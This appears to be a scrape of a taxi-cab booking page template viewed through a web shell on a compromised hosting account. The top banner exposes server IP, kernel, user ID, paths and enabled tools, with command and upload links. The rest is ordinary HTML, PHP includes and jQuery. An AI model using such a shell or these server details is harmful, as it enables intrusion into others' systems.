|
Server IP : 2a02:4780:11:1361:0:bf7:7935:10 / Your IP : 3.145.196.175 Web Server : LiteSpeed System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u200767797 ( 200767797) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u200767797/domains/socon.in/../easywaycab.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<title>Taxi Cab Transportation Category Flat Bootstrap Responsive Website Template | Booking :: W3layouts</title>
<!-- Meta tag Keywords -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<meta name="keywords" content="Taxi Cab Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script type="application/x-javascript">
addEventListener("load", function () {
setTimeout(hideURLbar, 0);
}, false);
function hideURLbar() {
window.scrollTo(0, 1);
}
</script>
<!--// Meta tag Keywords -->
<!-- Stylesheet -->
<link href="css/wickedpicker.css" rel="stylesheet" type='text/css' media="all" />
<link rel="stylesheet" href="css/jquery-ui.css" />
<!-- css files -->
<link rel="stylesheet" href="css/bootstrap.css"> <!-- Bootstrap-Core-CSS -->
<link rel="stylesheet" href="css/style.css" type="text/css" media="all" /> <!-- Style-CSS -->
<link rel="stylesheet" href="css/fontawesome-all.css"> <!-- Font-Awesome-Icons-CSS -->
<!-- //css files -->
<!-- web-fonts -->
<link href="http://fonts.googleapis.com/css?family=Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i&subset=latin-ext" rel="stylesheet">
<!-- //web-fonts -->
</head>
<body>
<!-- Global site tag (gtag.js) - Google Analytics -->
<body><link rel="stylesheet" href="../../../../../../assests/css/font-awesome.min.css">
<!-- New toolbar-->
</div>
<?php include('header.php')?>
<!--/banner-->
<div class="banner" id="home"></div>
<!-- //banner -->
<!---728x90--->
<!-- Booking -->
<section class="bookingform py-5">
<div class="container py-md-5 py-3">
<h1 class="heading text-capitalize text-center">Booking form</h1>
<h5 class="heading mb-5 text-center">Taxi Cab</h5>
<div class="row">
<div class="col-lg-6 book-appointment p-sm-5 py-5 px-4">
<h2>Personal Details</h2>
<!---728x90--->
<div class="book-agileinfo-form">
<form action="#" method="post">
<div class="row main-agile-sectns">
<div class="col-md-6 agileits-btm-spc form-text1">
<input type="text" name="Name" placeholder=" Name" required="">
</div>
<div class="col-md-6 agileits-btm-spc form-text2">
<input type="text" name="Phone no" placeholder="Phone number" required="">
</div>
</div>
<div class="row ">
<div class="col-md-12">
<div class="agileits-btm-spc">
<select id="cab" onchange="change_country(this.value)" class="frm-field required sect">
<option value="">Select Cab</option>
<option value="">Mini</option>
<option value="">Sedan</option>
<option value="">Elite</option>
</select>
</div>
</div>
</div>
<div class="clear"></div>
<h2 class="sub-head-w3ls">Booking Details</h2>
<div class="row main-agile-sectns">
<div class="col-md-6 agileits-btm-spc form-text1">
<input id="datepicker" name="Text" type="text" placeholder="Pick-up Date" value="" onfocus="this.value = '';" onblur="if (this.value == '') {this.value = 'mm/dd/yyyy';}"
required="">
</div>
<div class="col-md-6 agileits-btm-spc form-text2">
<input type="text" id="timepicker" name="Time" class="timepicker form-control" placeholder="Pick-up Time" value="">
</div>
</div>
<div class="row main-agile-sectns">
<div class="col-md-6 agileits-btm-spc form-text1">
<input type="text" name="Pick-up Location" placeholder="Pick-up Location" required="">
</div>
<div class="col-md-6 agileits-btm-spc form-text2">
<input type="text" name="Drop-off Location" placeholder="Drop-off Location" required="">
</div>
</div>
<div class="main-agile-sectns">
<div class="agileits-btm-spc form-text2">
<select id="direction" onchange="change_country(this.value)" class="frm-field required">
<option value="">Direction</option>
<option value="">One Way</option>
<option value="">Return</option>
</select>
</div>
</div>
<input type="submit" value="Book Now">
<input type="reset" value="Reset">
</form>
</div>
</div>
<div class="col-lg-6 mt-md-5">
<img src="images/cab%20imag.jpg" alt="" class="img-fluid" />
<img src="images/cab-2.jpg" alt="" class="img-fluid" />
</div>
</div>
</div>
</section>
<!-- //Booking -->
<!--footer-->
<?php include('footer.php')?>
<!-- //footer -->
<!-- login and register modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Sign In to your account</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="#" method="post">
<div class="form-group">
<label for="recipient-name" class="col-form-label">User Name</label>
<input type="text" class="form-control" placeholder="User Name" name="Name" id="recipient-name" required="">
</div>
<div class="form-group">
<label for="password" class="col-form-label">Password</label>
<input type="password" class="form-control" placeholder="Password" name="Password" id="password" required="">
</div>
<div class="row sub-w3l my-3">
<div class="col sub-agile">
<input type="checkbox" id="brand1" value="">
<label for="brand1" class="text-white">
<span></span>Remember me?</label>
</div>
<div class="col forgot-w3l text-right">
<a href="#" class="text-white">Forgot Password?</a>
</div>
</div>
<div class="right-w3l">
<input type="submit" class="form-control" value="Sign In">
</div>
<p class="text-center dont-do text-white mt-3">Don't have an account?
<a href="#" data-toggle="modal" data-target="#exampleModal1" class="text-white">
Register Now</a>
</p>
</form>
</div>
</div>
</div>
</div>
<div class="modal fade" id="exampleModal1" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel1" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel1">Register your account</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="#" method="post">
<div class="form-group">
<label for="recipient-name" class="col-form-label">User Name</label>
<input type="text" class="form-control" placeholder="User Name" name="Name" id="recipient-rname" required="">
</div>
<div class="form-group">
<label for="recipient-email" class="col-form-label">Email</label>
<input type="email" class="form-control" placeholder="Email" name="Email" id="recipient-email" required="">
</div>
<div class="form-group">
<label for="password1" class="col-form-label">Password</label>
<input type="password" class="form-control" placeholder="Password" name="Password" id="password1" required="">
</div>
<div class="form-group">
<label for="password2" class="col-form-label">Confirm Password</label>
<input type="password" class="form-control" placeholder="Confirm Password" name="Confirm Password" id="password2" required="">
</div>
<div class="sub-w3l">
<div class="sub-agile">
<input type="checkbox" id="brand2" value="">
<label for="brand2" class="mb-3">
<span></span>I Accept to the Terms & Conditions</label>
</div>
</div>
<div class="right-w3l">
<input type="submit" class="form-control" value="Register">
</div>
</form>
</div>
</div>
</div>
</div>
<!-- //login and register modal -->
<!-- js-scripts -->
<!-- js -->
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="js/bootstrap.js"></script> <!-- Necessary-JavaScript-File-For-Bootstrap -->
<!-- //js -->
<!-- Time -->
<script type="text/javascript" src="js/wickedpicker.js"></script>
<script type="text/javascript">
$('.timepicker').wickedpicker({
twentyFour: false
});
</script>
<!--// Time -->
<!-- Calendar -->
<script src="js/jquery-ui.js"></script>
<script>
$(function () {
$("#datepicker,#datepicker1,#datepicker2,#datepicker3").datepicker();
});
</script>
<!-- //Calendar -->
<!-- carousel -->
<script src="js/owl.carousel.js"></script>
<script>
$(document).ready(function () {
$('.owl-carousel').owlCarousel({
loop: true,
margin: 10,
responsiveClass: true,
responsive: {
0: {
items: 1,
nav: true
},
600: {
items: 1,
nav: false
},
900: {
items: 2,
nav: false
},
1000: {
items: 3,
nav: true,
loop: false,
margin: 20
}
}
})
})
</script>
<!-- //carousel -->
<!--slider-->
<script src="js/responsiveslides.min.js"></script>
<script>
$(function () {
// Slideshow 1
$("#slider1").responsiveSlides({
auto: true,
pager: true,
nav: true,
speed: 500,
namespace: "centered-btns"
});
});
</script>
<!--//slider-->
<!-- start-smoth-scrolling -->
<script src="js/SmoothScroll.min.js"></script>
<script type="text/javascript" src="js/move-top.js"></script>
<script type="text/javascript" src="js/easing.js"></script>
<script type="text/javascript">
jQuery(document).ready(function($) {
$(".scroll").click(function(event){
event.preventDefault();
$('html,body').animate({scrollTop:$(this.hash).offset().top},1000);
});
});
</script>
<!-- here stars scrolling icon -->
</html>